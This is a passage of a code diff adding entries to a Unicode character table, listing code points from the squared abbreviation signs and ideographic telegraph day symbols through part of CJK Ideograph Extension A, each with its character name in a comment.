+ [0x33c4, 0x33c4], /* SQUARE CC (SQUARED CC) */
+ [0x33c5, 0x33c5], /* SQUARE CD (SQUARED CD) */
+ [0x33c6, 0x33c6], /* SQUARE C OVER KG (SQUARED C OVER KG) */
+ [0x33c7, 0x33c7], /* SQUARE CO (SQUARED CO) */
+ [0x33c8, 0x33c8], /* SQUARE DB (SQUARED DB) */
+ [0x33c9, 0x33c9], /* SQUARE GY (SQUARED GY) */
+ [0x33ca, 0x33ca], /* SQUARE HA (SQUARED HA) */
+ [0x33cb, 0x33cb], /* SQUARE HP (SQUARED HP) */
+ [0x33cc, 0x33cc], /* SQUARE IN (SQUARED IN) */
+ [0x33cd, 0x33cd], /* SQUARE KK (SQUARED KK) */
+ [0x33ce, 0x33ce], /* SQUARE KM CAPITAL (SQUARED KM CAPITAL) */
+ [0x33cf, 0x33cf], /* SQUARE KT (SQUARED KT) */
+ [0x33d0, 0x33d0], /* SQUARE LM (SQUARED LM) */
+ [0x33d1, 0x33d1], /* SQUARE LN (SQUARED LN) */
+ [0x33d2, 0x33d2], /* SQUARE LOG (SQUARED LOG) */
+ [0x33d3, 0x33d3], /* SQUARE LX (SQUARED LX) */
+ [0x33d4, 0x33d4], /* SQUARE MB SMALL (SQUARED MB SMALL) */
+ [0x33d5, 0x33d5], /* SQUARE MIL (SQUARED MIL) */
+ [0x33d6, 0x33d6], /* SQUARE MOL (SQUARED MOL) */
+ [0x33d7, 0x33d7], /* SQUARE PH (SQUARED PH) */
+ [0x33d8, 0x33d8], /* SQUARE PM (SQUARED PM) */
+ [0x33d9, 0x33d9], /* SQUARE PPM (SQUARED PPM) */
+ [0x33da, 0x33da], /* SQUARE PR (SQUARED PR) */
+ [0x33db, 0x33db], /* SQUARE SR (SQUARED SR) */
+ [0x33dc, 0x33dc], /* SQUARE SV (SQUARED SV) */
+ [0x33dd, 0x33dd], /* SQUARE WB (SQUARED WB) */
+ [0x33de, 0x33de], /* SQUARE V OVER M */
+ [0x33df, 0x33df], /* SQUARE A OVER M */
+ [0x33e0, 0x33e0], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE */
+ [0x33e1, 0x33e1], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO */
+ [0x33e2, 0x33e2], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE */
+ [0x33e3, 0x33e3], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR */
+ [0x33e4, 0x33e4], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE */
+ [0x33e5, 0x33e5], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX */
+ [0x33e6, 0x33e6], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN */
+ [0x33e7, 0x33e7], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT */
+ [0x33e8, 0x33e8], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE */
+ [0x33e9, 0x33e9], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN */
+ [0x33ea, 0x33ea], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN */
+ [0x33eb, 0x33eb], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE */
+ [0x33ec, 0x33ec], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN */
+ [0x33ed, 0x33ed], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN */
+ [0x33ee, 0x33ee], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN */
+ [0x33ef, 0x33ef], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN */
+ [0x33f0, 0x33f0], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN */
+ [0x33f1, 0x33f1], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN */
+ [0x33f2, 0x33f2], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN */
+ [0x33f3, 0x33f3], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY */
+ [0x33f4, 0x33f4], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE */
+ [0x33f5, 0x33f5], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO */
+ [0x33f6, 0x33f6], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE */
+ [0x33f7, 0x33f7], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR */
+ [0x33f8, 0x33f8], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE */
+ [0x33f9, 0x33f9], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX */
+ [0x33fa, 0x33fa], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN */
+ [0x33fb, 0x33fb], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT */
+ [0x33fc, 0x33fc], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE */
+ [0x33fd, 0x33fd], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY */
+ [0x33fe, 0x33fe], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE */
+ [0x33ff, 0x33ff], /* SQUARE GAL */
+ [0x3400, 0x3400], /* CJK Ideograph Extension A */
+ [0x3401, 0x3401], /* CJK Ideograph Extension A */
+ [0x3402, 0x3402], /* CJK Ideograph Extension A */
+ [0x3403, 0x3403], /* CJK Ideograph Extension A */
+ [0x3404, 0x3404], /* CJK Ideograph Extension A */
+ [0x3405, 0x3405], /* CJK Ideograph Extension A */
+ [0x3406, 0x3406], /* CJK Ideograph Extension A */
+ [0x3407, 0x3407], /* CJK Ideograph Extension A */
+ [0x3408, 0x3408], /* CJK Ideograph Extension A */
+ [0x3409, 0x3409], /* CJK Ideograph Extension A */
+ [0x340a, 0x340a], /* CJK Ideograph Extension A */
+ [0x340b, 0x340b], /* CJK Ideograph Extension A */
+ [0x340c, 0x340c], /* CJK Ideograph Extension A */
+ [0x340d, 0x340d], /* CJK Ideograph Extension A */
+ [0x340e, 0x340e], /* CJK Ideograph Extension A */
+ [0x340f, 0x340f], /* CJK Ideograph Extension A */
+ [0x3410, 0x3410], /* CJK Ideograph Extension A */
+ [0x3411, 0x3411], /* CJK Ideograph Extension A */
+ [0x3412, 0x3412], /* CJK Ideograph Extension A */
+ [0x3413, 0x3413], /* CJK Ideograph Extension A */
+ [0x3414, 0x3414], /* CJK Ideograph Extension A */
+ [0x3415, 0x3415], /* CJK Ideograph Extension A */
+ [0x3416, 0x3416], /* CJK Ideograph Extension A */
+ [0x3417, 0x3417], /* CJK Ideograph Extension A */
+ [0x3418, 0x3418], /* CJK Ideograph Extension A */
+ [0x3419, 0x3419], /* CJK Ideograph Extension A */
+ [0x341a, 0x341a], /* CJK Ideograph Extension A */
+ [0x341b, 0x341b], /* CJK Ideograph Extension A */
+ [0x341c, 0x341c], /* CJK Ideograph Extension A */
+ [0x341d, 0x341d], /* CJK Ideograph Extension A */
+ [0x341e, 0x341e], /* CJK Ideograph Extension A */
+ [0x341f, 0x341f], /* CJK Ideograph Extension A */
+ [0x3420, 0x3420], /* CJK Ideograph Extension A */
+ [0x3421, 0x3421], /* CJK Ideograph Extension A */
+ [0x3422, 0x3422], /* CJK Ideograph Extension A */
+ [0x3423, 0x3423], /* CJK Ideograph Extension A */
+ [0x3424, 0x3424], /* CJK Ideograph Extension A */
+ [0x3425, 0x3425], /* CJK Ideograph Extension A */
+ [0x3426, 0x3426], /* CJK Ideograph Extension A */
+ [0x3427, 0x3427], /* CJK Ideograph Extension A */
+ [0x3428, 0x3428], /* CJK Ideograph Extension A */
+ [0x3429, 0x3429], /* CJK Ideograph Extension A */
+ [0x342a, 0x342a], /* CJK Ideograph Extension A */
+ [0x342b, 0x342b], /* CJK Ideograph Extension A */
+ [0x342c, 0x342c], /* CJK Ideograph Extension A */
+ [0x342d, 0x342d], /* CJK Ideograph Extension A */
+ [0x342e, 0x342e], /* CJK Ideograph Extension A */
+ [0x342f, 0x342f], /* CJK Ideograph Extension A */
+ [0x3430, 0x3430], /* CJK Ideograph Extension A */
+ [0x3431, 0x3431], /* CJK Ideograph Extension A */
+ [0x3432, 0x3432], /* CJK Ideograph Extension A */
+ [0x3433, 0x3433], /* CJK Ideograph Extension A */
+ [0x3434, 0x3434], /* CJK Ideograph Extension A */
+ [0x3435, 0x3435], /* CJK Ideograph Extension A */
+ [0x3436, 0x3436], /* CJK Ideograph Extension A */
+ [0x3437, 0x3437], /* CJK Ideograph Extension A */
+ [0x3438, 0x3438], /* CJK Ideograph Extension A */
+ [0x3439, 0x3439], /* CJK Ideograph Extension A */
+ [0x343a, 0x343a], /* CJK Ideograph Extension A */
+ [0x343b, 0x343b], /* CJK Ideograph Extension A */
+ [0x343c, 0x343c], /* CJK Ideograph Extension A */
+ [0x343d, 0x343d], /* CJK Ideograph Extension A */
+ [0x343e, 0x343e], /* CJK Ideograph Extension A */
+ [0x343f, 0x343f], /* CJK Ideograph Extension A */
+ [0x3440, 0x3440], /* CJK Ideograph Extension A */
+ [0x3441, 0x3441], /* CJK Ideograph Extension A */
+ [0x3442, 0x3442], /* CJK Ideograph Extension A */
+ [0x3443, 0x3443], /* CJK Ideograph Extension A */
+ [0x3444, 0x3444], /* CJK Ideograph Extension A */
+ [0x3445, 0x3445], /* CJK Ideograph Extension A */
+ [0x3446, 0x3446], /* CJK Ideograph Extension A */
+ [0x3447, 0x3447], /* CJK Ideograph Extension A */
+ [0x3448, 0x3448], /* CJK Ideograph Extension A */
+ [0x3449, 0x3449], /* CJK Ideograph Extension A */
+ [0x344a, 0x344a], /* CJK Ideograph Extension A */
+ [0x344b, 0x344b], /* CJK Ideograph Extension A */
+ [0x344c, 0x344c], /* CJK Ideograph Extension A */
+ [0x344d, 0x344d], /* CJK Ideograph Extension A */
+ [0x344e, 0x344e], /* CJK Ideograph Extension A */
+ [0x344f, 0x344f], /* CJK Ideograph Extension A */
+ [0x3450, 0x3450], /* CJK Ideograph Extension A */
+ [0x3451, 0x3451], /* CJK Ideograph Extension A */
+ [0x3452, 0x3452], /* CJK Ideograph Extension A */
+ [0x3453, 0x3453], /* CJK Ideograph Extension A */
+ [0x3454, 0x3454], /* CJK Ideograph Extension A */
+ [0x3455, 0x3455], /* CJK Ideograph Extension A */
+ [0x3456, 0x3456], /* CJK Ideograph Extension A */
+ [0x3457, 0x3457], /* CJK Ideograph Extension A */
+ [0x3458, 0x3458], /* CJK Ideograph Extension A */
+ [0x3459, 0x3459], /* CJK Ideograph Extension A */
+ [0x345a, 0x345a], /* CJK Ideograph Extension A */
+ [0x345b, 0x345b], /* CJK Ideograph Extension A */
+ [0x345c, 0x345c], /* CJK Ideograph Extension A */
+ [0x345d, 0x345d], /* CJK Ideograph Extension A */
+ [0x345e, 0x345e], /* CJK Ideograph Extension A */
+ [0x345f, 0x345f], /* CJK Ideograph Extension A */
+ [0x3460, 0x3460], /* CJK Ideograph Extension A */
+ [0x3461, 0x3461], /* CJK Ideograph Extension A */
+ [0x3462, 0x3462], /* CJK Ideograph Extension A */
+ [0x3463, 0x3463], /* CJK Ideograph Extension A */
+ [0x3464, 0x3464], /* CJK Ideograph Extension A */
+ [0x3465, 0x3465], /* CJK Ideograph Extension A */
+ [0x3466, 0x3466], /* CJK Ideograph Extension A */
+ [0x3467, 0x3467], /* CJK Ideograph Extension A */
+ [0x3468, 0x3468], /* CJK Ideograph Extension A */
+ [0x3469, 0x3469], /* CJK Ideograph Extension A */
+ [0x346a, 0x346a], /* CJK Ideograph Extension A */
+ [0x346b, 0x346b], /* CJK Ideograph Extension A */
+ [0x346c, 0x346c], /* CJK Ideograph Extension A */
+ [0x346d, 0x346d], /* CJK Ideograph Extension A */
+ [0x346e, 0x346e], /* CJK Ideograph Extension A */
+ [0x346f, 0x346f], /* CJK Ideograph Extension A */
+ [0x3470, 0x3470], /* CJK Ideograph Extension A */
+ [0x3471, 0x3471], /* CJK Ideograph Extension A */
+ [0x3472, 0x3472], /* CJK Ideograph Extension A */
+ [0x3473, 0x3473], /* CJK Ideograph Extension A */
+ [0x3474, 0x3474], /* CJK Ideograph Extension A */
+ [0x3475, 0x3475], /* CJK Ideograph Extension A */
+ [0x3476, 0x3476], /* CJK Ideograph Extension A */
+ [0x3477, 0x3477], /* CJK Ideograph Extension A */
+ [0x3478, 0x3478], /* CJK Ideograph Extension A */
+ [0x3479, 0x3479], /* CJK Ideograph Extension A */
+ [0x347a, 0x347a], /* CJK Ideograph Extension A */
+ [0x347b, 0x347b], /* CJK Ideograph Extension A */
+ [0x347c, 0x347c], /* CJK Ideograph Extension A */
+ [0x347d, 0x347d], /* CJK Ideograph Extension A */
+ [0x347e, 0x347e], /* CJK Ideograph Extension A */
+ [0x347f, 0x347f], /* CJK Ideograph Extension A */
+ [0x3480, 0x3480], /* CJK Ideograph Extension A */
+ [0x3481, 0x3481], /* CJK Ideograph Extension A */
+ [0x3482, 0x3482], /* CJK Ideograph Extension A */
+ [0x3483, 0x3483], /* CJK Ideograph Extension A */
+ [0x3484, 0x3484], /* CJK Ideograph Extension A */
+ [0x3485, 0x3485], /* CJK Ideograph Extension A */
+ [0x3486, 0x3486], /* CJK Ideograph Extension A */
+ [0x3487, 0x3487], /* CJK Ideograph Extension A */
+ [0x3488, 0x3488], /* CJK Ideograph Extension A */
+ [0x3489, 0x3489], /* CJK Ideograph Extension A */
+ [0x348a, 0x348a], /* CJK Ideograph Extension A */
+ [0x348b, 0x348b], /* CJK Ideograph Extension A */
+ [0x348c, 0x348c], /* CJK Ideograph Extension A */
+ [0x348d, 0x348d], /* CJK Ideograph Extension A */
+ [0x348e, 0x348e], /* CJK Ideograph Extension A */
+ [0x348f, 0x348f], /* CJK Ideograph Extension A */
+ [0x3490, 0x3490], /* CJK Ideograph Extension A */
+ [0x3491, 0x3491], /* CJK Ideograph Extension A */
+ [0x3492, 0x3492], /* CJK Ideograph Extension A */
+ [0x3493, 0x3493], /* CJK Ideograph Extension A */
+ [0x3494, 0x3494], /* CJK Ideograph Extension A */
+ [0x3495, 0x3495], /* CJK Ideograph Extension A */
+ [0x3496, 0x3496], /* CJK Ideograph Extension A */
+ [0x3497, 0x3497], /* CJK Ideograph Extension A */
+ [0x3498, 0x3498], /* CJK Ideograph Extension A */
+ [0x3499, 0x3499], /* CJK Ideograph Extension A */
+ [0x349a, 0x349a], /* CJK Ideograph Extension A */
+ [0x349b, 0x349b], /* CJK Ideograph Extension A */
+ [0x349c, 0x349c], /* CJK Ideograph Extension A */
+ [0x349d, 0x349d], /* CJK Ideograph Extension A */
+ [0x349e, 0x349e], /* CJK Ideograph Extension A */
+ [0x349f, 0x349f], /* CJK Ideograph Extension A */
+ [0x34a0, 0x34a0], /* CJK Ideograph Extension A */
+ [0x34a1, 0x34a1], /* CJK Ideograph Extension A */
+ [0x34a2, 0x34a2], /* CJK Ideograph Extension A */
+ [0x34a3, 0x34a3], /* CJK Ideograph Extension A */
+ [0x34a4, 0x34a4], /* CJK Ideograph Extension A */
+ [0x34a5, 0x34a5], /* CJK Ideograph Extension A */
+ [0x34a6, 0x34a6], /* CJK Ideograph Extension A */
+ [0x34a7, 0x34a7], /* CJK Ideograph Extension A */
+ [0x34a8, 0x34a8], /* CJK Ideograph Extension A */
+ [0x34a9, 0x34a9], /* CJK Ideograph Extension A */
+ [0x34aa, 0x34aa], /* CJK Ideograph Extension A */
+ [0x34ab, 0x34ab], /* CJK Ideograph Extension A */
+ [0x34ac, 0x34ac], /* CJK Ideograph Extension A */
+ [0x34ad, 0x34ad], /* CJK Ideograph Extension A */
+ [0x34ae, 0x34ae], /* CJK Ideograph Extension A */
+ [0x34af, 0x34af], /* CJK Ideograph Extension A */
+ [0x34b0, 0x34b0], /* CJK Ideograph Extension A */
+ [0x34b1, 0x34b1], /* CJK Ideograph Extension A */
+ [0x34b2, 0x34b2], /* CJK Ideograph Extension A */
+ [0x34b3, 0x34b3], /* CJK Ideograph Extension A */
+ [0x34b4, 0x34b4], /* CJK Ideograph Extension A */
+ [0x34b5, 0x34b5], /* CJK Ideograph Extension A */
+ [0x34b6, 0x34b6], /* CJK Ideograph Extension A */
+ [0x34b7, 0x34b7], /* CJK Ideograph Extension A */
+ [0x34b8, 0x34b8], /* CJK Ideograph Extension A */
+ [0x34b9, 0x34b9], /* CJK Ideograph Extension A */
+ [0x34ba, 0x34ba], /* CJK Ideograph Extension A */
+ [0x34bb, 0x34bb], /* CJK Ideograph Extension A */
+ [0x34bc, 0x34bc], /* CJK Ideograph Extension A */
+ [0x34bd, 0x34bd], /* CJK Ideograph Extension A */
+ [0x34be, 0x34be], /* CJK Ideograph Extension A */
+ [0x34bf, 0x34bf], /* CJK Ideograph Extension A */
+ [0x34c0, 0x34c0], /* CJK Ideograph Extension A */
+ [0x34c1, 0x34c1], /* CJK Ideograph Extension A */
+ [0x34c2, 0x34c2], /* CJK Ideograph Extension A */
+ [0x34c3, 0x34c3], /* CJK Ideograph Extension A */
+ [0x34c4, 0x34c4], /* CJK Ideograph Extension A */
+ [0x34c5, 0x34c5], /* CJK Ideograph Extension A */
+ [0x34c6, 0x34c6], /* CJK Ideograph Extension A */
+ [0x34c7, 0x34c7], /* CJK Ideograph Extension A */
+ [0x34c8, 0x34c8], /* CJK Ideograph Extension A */
+ [0x34c9, 0x34c9], /* CJK Ideograph Extension A */
+ [0x34ca, 0x34ca], /* CJK Ideograph Extension A */
+ [0x34cb, 0x34cb], /* CJK Ideograph Extension A */
+ [0x34cc, 0x34cc], /* CJK Ideograph Extension A */
+ [0x34cd, 0x34cd], /* CJK Ideograph Extension A */
+ [0x34ce, 0x34ce], /* CJK Ideograph Extension A */
+ [0x34cf, 0x34cf], /* CJK Ideograph Extension A */
+ [0x34d0, 0x34d0], /* CJK Ideograph Extension A */
+ [0x34d1, 0x34d1], /* CJK Ideograph Extension A */
+ [0x34d2, 0x34d2], /* CJK Ideograph Extension A */
+ [0x34d3, 0x34d3], /* CJK Ideograph Extension A */
+ [0x34d4, 0x34d4], /* CJK Ideograph Extension A */
+ [0x34d5, 0x34d5], /* CJK Ideograph Extension A */
+ [0x34d6, 0x34d6], /* CJK Ideograph Extension A */
+ [0x34d7, 0x34d7], /* CJK Ideograph Extension A */
+ [0x34d8, 0x34d8], /* CJK Ideograph Extension A */
+ [0x34d9, 0x34d9], /* CJK Ideograph Extension A */
+ [0x34da, 0x34da], /* CJK Ideograph Extension A */
+ [0x34db, 0x34db], /* CJK Ideograph Extension A */
+ [0x34dc, 0x34dc], /* CJK Ideograph Extension A */
+ [0x34dd, 0x34dd], /* CJK Ideograph Extension A */
+ [0x34de, 0x34de], /* CJK Ideograph Extension A */
+ [0x34df, 0x34df], /* CJK Ideograph Extension A */
+ [0x34e0, 0x34e0], /* CJK Ideograph Extension A */
+ [0x34e1, 0x34e1], /* CJK Ideograph Extension A */
+ [0x34e2, 0x34e2], /* CJK Ideograph Extension A */
+ [0x34e3, 0x34e3], /* CJK Ideograph Extension A */
+ [0x34e4, 0x34e4], /* CJK Ideograph Extension A */
+ [0x34e5, 0x34e5], /* CJK Ideograph Extension A */
+ [0x34e6, 0x34e6], /* CJK Ideograph Extension A */
+ [0x34e7, 0x34e7], /* CJK Ideograph Extension A */
+ [0x34e8, 0x34e8], /* CJK Ideograph Extension A */
+ [0x34e9, 0x34e9], /* CJK Ideograph Extension A */
+ [0x34ea, 0x34ea], /* CJK Ideograph Extension A */
+ [0x34eb, 0x34eb], /* CJK Ideograph Extension A */
+ [0x34ec, 0x34ec], /* CJK Ideograph Extension A */
+ [0x34ed, 0x34ed], /* CJK Ideograph Extension A */
+ [0x34ee, 0x34ee], /* CJK Ideograph Extension A */
+ [0x34ef, 0x34ef], /* CJK Ideograph Extension A */
+ [0x34f0, 0x34f0], /* CJK Ideograph Extension A */
+ [0x34f1, 0x34f1], /* CJK Ideograph Extension A */
+ [0x34f2, 0x34f2], /* CJK Ideograph Extension A */
+ [0x34f3, 0x34f3], /* CJK Ideograph Extension A */
+ [0x34f4, 0x34f4], /* CJK Ideograph Extension A */
+ [0x34f5, 0x34f5], /* CJK Ideograph Extension A */
+ [0x34f6, 0x34f6], /* CJK Ideograph Extension A */
+ [0x34f7, 0x34f7], /* CJK Ideograph Extension A */
+ [0x34f8, 0x34f8], /* CJK Ideograph Extension A */
+ [0x34f9, 0x34f9], /* CJK Ideograph Extension A */
+ [0x34fa, 0x34fa], /* CJK Ideograph Extension A */
+ [0x34fb, 0x34fb], /* CJK Ideograph Extension A */
+ [0x34fc, 0x34fc], /* CJK Ideograph Extension A */
+ [0x34fd, 0x34fd], /* CJK Ideograph Extension A */
+ [0x34fe, 0x34fe], /* CJK Ideograph Extension A */
+ [0x34ff, 0x34ff], /* CJK Ideograph Extension A */
+ [0x3500, 0x3500], /* CJK Ideograph Extension A */
+ [0x3501, 0x3501], /* CJK Ideograph Extension A */
+ [0x3502, 0x3502], /* CJK Ideograph Extension A */
+ [0x3503, 0x3503], /* CJK Ideograph Extension A */
+ [0x3504, 0x3504], /* CJK Ideograph Extension A */
+ [0x3505, 0x3505], /* CJK Ideograph Extension A */
+ [0x3506, 0x3506], /* CJK Ideograph Extension A */
+ [0x3507, 0x3507], /* CJK Ideograph Extension A */
+ [0x3508, 0x3508], /* CJK Ideograph Extension A */
+ [0x3509, 0x3509], /* CJK Ideograph Extension A */
+ [0x350a, 0x350a], /* CJK Ideograph Extension A */
+ [0x350b, 0x350b], /* CJK Ideograph Extension A */
+ [0x350c, 0x350c], /* CJK Ideograph Extension A */
+ [0x350d, 0x350d], /* CJK Ideograph Extension A */
+ [0x350e, 0x350e], /* CJK Ideograph Extension A */
+ [0x350f, 0x350f], /* CJK Ideograph Extension A */
+ [0x3510, 0x3510], /* CJK Ideograph Extension A */
+ [0x3511, 0x3511], /* CJK Ideograph Extension A */
+ [0x3512, 0x3512], /* CJK Ideograph Extension A */
+ [0x3513, 0x3513], /* CJK Ideograph Extension A */
+ [0x3514, 0x3514], /* CJK Ideograph Extension A */
+ [0x3515, 0x3515], /* CJK Ideograph Extension A */
+ [0x3516, 0x3516], /* CJK Ideograph Extension A */
+ [0x3517, 0x3517], /* CJK Ideograph Extension A */
+ [0x3518, 0x3518], /* CJK Ideograph Extension A */
+ [0x3519, 0x3519], /* CJK Ideograph Extension A */
+ [0x351a, 0x351a], /* CJK Ideograph Extension A */
+ [0x351b, 0x351b], /* CJK Ideograph Extension A */
+ [0x351c, 0x351c], /* CJK Ideograph Extension A */
+ [0x351d, 0x351d], /* CJK Ideograph Extension A */
+ [0x351e, 0x351e], /* CJK Ideograph Extension A */
+ [0x351f, 0x351f], /* CJK Ideograph Extension A */
+ [0x3520, 0x3520], /* CJK Ideograph Extension A */
+ [0x3521, 0x3521], /* CJK Ideograph Extension A */
+ [0x3522, 0x3522], /* CJK Ideograph Extension A */
+ [0x3523, 0x3523], /* CJK Ideograph Extension A */
+ [0x3524, 0x3524], /* CJK Ideograph Extension A */
+ [0x3525, 0x3525], /* CJK Ideograph Extension A */
+ [0x3526, 0x3526], /* CJK Ideograph Extension A */
+ [0x3527, 0x3527], /* CJK Ideograph Extension A */
+ [0x3528, 0x3528], /* CJK Ideograph Extension A */
+ [0x3529, 0x3529], /* CJK Ideograph Extension A */
+ [0x352a, 0x352a], /* CJK Ideograph Extension A */
+ [0x352b, 0x352b], /* CJK Ideograph Extension A */
+ [0x352c, 0x352c], /* CJK Ideograph Extension A */
+ [0x352d, 0x352d], /* CJK Ideograph Extension A */
+ [0x352e, 0x352e], /* CJK Ideograph Extension A */
+ [0x352f, 0x352f], /* CJK Ideograph Extension A */
+ [0x3530, 0x3530], /* CJK Ideograph Extension A */
+ [0x3531, 0x3531], /* CJK Ideograph Extension A */
+ [0x3532, 0x3532], /* CJK Ideograph Extension A */
+ [0x3533, 0x3533], /* CJK Ideograph Extension A */
+ [0x3534, 0x3534], /* CJK Ideograph Extension A */
+ [0x3535, 0x3535], /* CJK Ideograph Extension A */
+ [0x3536, 0x3536], /* CJK Ideograph Extension A */
+ [0x3537, 0x3537], /* CJK Ideograph Extension A */
+ [0x3538, 0x3538], /* CJK Ideograph Extension A */
+ [0x3539, 0x3539], /* CJK Ideograph Extension A */
+ [0x353a, 0x353a], /* CJK Ideograph Extension A */
+ [0x353b, 0x353b], /* CJK Ideograph Extension A */
+ [0x353c, 0x353c], /* CJK Ideograph Extension A */
+ [0x353d, 0x353d], /* CJK Ideograph Extension A */
+ [0x353e, 0x353e], /* CJK Ideograph Extension A */
+ [0x353f, 0x353f], /* CJK Ideograph Extension A */
+ [0x3540, 0x3540], /* CJK Ideograph Extension A */
+ [0x3541, 0x3541], /* CJK Ideograph Extension A */
+ [0x3542, 0x3542], /* CJK Ideograph Extension A */
+ [0x3543, 0x3543], /* CJK Ideograph Extension A */
+ [0x3544, 0x3544], /* CJK Ideograph Extension A */
+ [0x3545, 0x3545], /* CJK Ideograph Extension A */
+ [0x3546, 0x3546], /* CJK Ideograph Extension A */
+ [0x3547, 0x3547], /* CJK Ideograph Extension A */
+ [0x3548, 0x3548], /* CJK Ideograph Extension A */
+ [0x3549, 0x3549], /* CJK Ideograph Extension A */
+ [0x354a, 0x354a], /* CJK Ideograph Extension A */
+ [0x354b, 0x354b], /* CJK Ideograph Extension A */
+ [0x354c, 0x354c], /* CJK Ideograph Extension A */
+ [0x354d, 0x354d], /* CJK Ideograph Extension A */
+ [0x354e, 0x354e], /* CJK Ideograph Extension A */
+ [0x354f, 0x354f], /* CJK Ideograph Extension A */
+ [0x3550, 0x3550], /* CJK Ideograph Extension A */
+ [0x3551, 0x3551], /* CJK Ideograph Extension A */
+ [0x3552, 0x3552], /* CJK Ideograph Extension A */
+ [0x3553, 0x3553], /* CJK Ideograph Extension A */
+ [0x3554, 0x3554], /* CJK Ideograph Extension A */
+ [0x3555, 0x3555], /* CJK Ideograph Extension A */
+ [0x3556, 0x3556], /* CJK Ideograph Extension A */
+ [0x3557, 0x3557], /* CJK Ideograph Extension A */
+ [0x3558, 0x3558], /* CJK Ideograph Extension A */
+ [0x3559, 0x3559], /* CJK Ideograph Extension A */
+ [0x355a, 0x355a], /* CJK Ideograph Extension A */
+ [0x355b, 0x355b], /* CJK Ideograph Extension A */
+ [0x355c, 0x355c], /* CJK Ideograph Extension A */
+ [0x355d, 0x355d], /* CJK Ideograph Extension A */
+ [0x355e, 0x355e], /* CJK Ideograph Extension A */
+ [0x355f, 0x355f], /* CJK Ideograph Extension A */
+ [0x3560, 0x3560], /* CJK Ideograph Extension A */
+ [0x3561, 0x3561], /* CJK Ideograph Extension A */
+ [0x3562, 0x3562], /* CJK Ideograph Extension A */
+ [0x3563, 0x3563], /* CJK Ideograph Extension A */
+ [0x3564, 0x3564], /* CJK Ideograph Extension A */
+ [0x3565, 0x3565], /* CJK Ideograph Extension A */
+ [0x3566, 0x3566], /* CJK Ideograph Extension A */
+ [0x3567, 0x3567], /* CJK Ideograph Extension A */
+ [0x3568, 0x3568], /* CJK Ideograph Extension A */
+ [0x3569, 0x3569], /* CJK Ideograph Extension A */
+ [0x356a, 0x356a], /* CJK Ideograph Extension A */
+ [0x356b, 0x356b], /* CJK Ideograph Extension A */
+ [0x356c, 0x356c], /* CJK Ideograph Extension A */
+ [0x356d, 0x356d], /* CJK Ideograph Extension A */
+ [0x356e, 0x356e], /* CJK Ideograph Extension A */
+ [0x356f, 0x356f], /* CJK Ideograph Extension A */
+ [0x3570, 0x3570], /* CJK Ideograph Extension A */
+ [0x3571, 0x3571], /* CJK Ideograph Extension A */
+ [0x3572, 0x3572], /* CJK Ideograph Extension A */
+ [0x3573, 0x3573], /* CJK Ideograph Extension A */
+ [0x3574, 0x3574], /* CJK Ideograph Extension A */
+ [0x3575, 0x3575], /* CJK Ideograph Extension A */
+ [0x3576, 0x3576], /* CJK Ideograph Extension A */
+ [0x3577, 0x3577], /* CJK Ideograph Extension A */
+ [0x3578, 0x3578], /* CJK Ideograph Extension A */
+ [0x3579, 0x3579], /* CJK Ideograph Extension A */
+ [0x357a, 0x357a], /* CJK Ideograph Extension A */
+ [0x357b, 0x357b], /* CJK Ideograph Extension A */
+ [0x357c, 0x357c], /* CJK Ideograph Extension A */
+ [0x357d, 0x357d], /* CJK Ideograph Extension A */
+ [0x357e, 0x357e], /* CJK Ideograph Extension A */
+ [0x357f, 0x357f], /* CJK Ideograph Extension A */
+ [0x3580, 0x3580], /* CJK Ideograph Extension A */
+ [0x3581, 0x3581], /* CJK Ideograph Extension A */
+ [0x3582, 0x3582], /* CJK Ideograph Extension A */
+ [0x3583, 0x3583], /* CJK Ideograph Extension A */
+ [0x3584, 0x3584], /* CJK Ideograph Extension A */
+ [0x3585, 0x3585], /* CJK Ideograph Extension A */
+ [0x3586, 0x3586], /* CJK Ideograph Extension A */
+ [0x3587, 0x3587], /* CJK Ideograph Extension A */
+ [0x3588, 0x3588], /* CJK Ideograph Extension A */
+ [0x3589, 0x3589], /* CJK Ideograph Extension A */
+ [0x358a, 0x358a], /* CJK Ideograph Extension A */
+ [0x358b, 0x358b], /* CJK Ideograph Extension A */
+ [0x358c, 0x358c], /* CJK Ideograph Extension A */
+ [0x358d, 0x358d], /* CJK Ideograph Extension A */
+ [0x358e, 0x358e], /* CJK Ideograph Extension A */
